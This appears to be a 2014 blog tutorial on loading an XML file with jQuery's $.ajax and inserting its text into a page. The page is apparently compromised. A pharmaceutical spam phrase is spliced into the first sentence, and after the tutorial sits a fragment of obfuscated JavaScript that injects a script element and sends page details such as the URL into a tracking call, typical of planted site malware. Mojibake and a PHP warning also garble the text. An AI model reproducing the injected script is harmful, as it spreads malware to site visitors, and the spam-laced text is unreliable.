Lead Web Developer & Team Manager

Read XML using JQuery

By admin • May 20, 2014 • Filed in: Uncategorized

Uncategorized

Read a XML file is very useful femara no perscription

femara no perscription
. if we need add dynamic content on web pages, no exactly from Database, just if we have other external resource and display on some DIV or formatting text.

In this example I have a XML file with content for paragraph and the color text for this one, I’ll load the XML and add the new paragraph on body with the text color corresponding.

First one we have to have the XML file (content.xml) correctly like this :


<textcolor><![CDATA[#C3C3C3]]></textcolor>

<paragraph><![CDATA[This is a Paragraph]]></paragraph>

</style>

Second one, using JQuery load the XML file throughA�$.ajax, like this:

$(document).ready(function(){
$.ajax({
type: "GET",
url: "content.xml",
dataType: "xml",
success: function(xml){
var textcolor = $(xml).find("textcolor").text();
var paragraph = $(xml).find("paragraph").text();

$("body").html("<p style='color:"+textcolor+"'>"+paragraph+"</p>");
}
})

})

As you can see is very simple the use of A�XML files on HTML using JQuery, the A�next time IA?ll try to create a bucle “for” to load a collection data from XML file

 

 

  31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Comments are closed.

 

« | Home


Warning: Invalid argument supplied for foreach() in /homepages/25/d317993048/htdocs/jose/wp-content/themes/Notepad/Notepad-Beige/config.inc.php on line 5